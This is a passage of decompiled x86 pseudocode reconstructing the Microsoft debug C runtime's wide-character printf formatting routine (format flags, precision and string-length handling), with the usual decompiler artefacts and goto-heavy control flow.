																	 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x421d94; // 0x15a19003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00421D80))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x421e00; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M00421DC4))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00420C00(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x43de98; // 0x4063f4
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041CB30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041EA40(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x43de88; // 0xfb3c7abe
																				E00427990(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041EA40(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x43de94; // 0xfb3c7abe
																						E00427990(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041EA40(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x43de90; // 0xfb3c7abe
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00420C00(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041EA40(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041EA40(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0042F0C0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E00420C00(__ebp + 0x14);
																		__eax = E0042F010();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041F590();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
																			__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041EA10(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00420C00(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x43de9c; // 0x4063e4
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x43de98; // 0x4063f4
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041EA40(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E0042F050( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
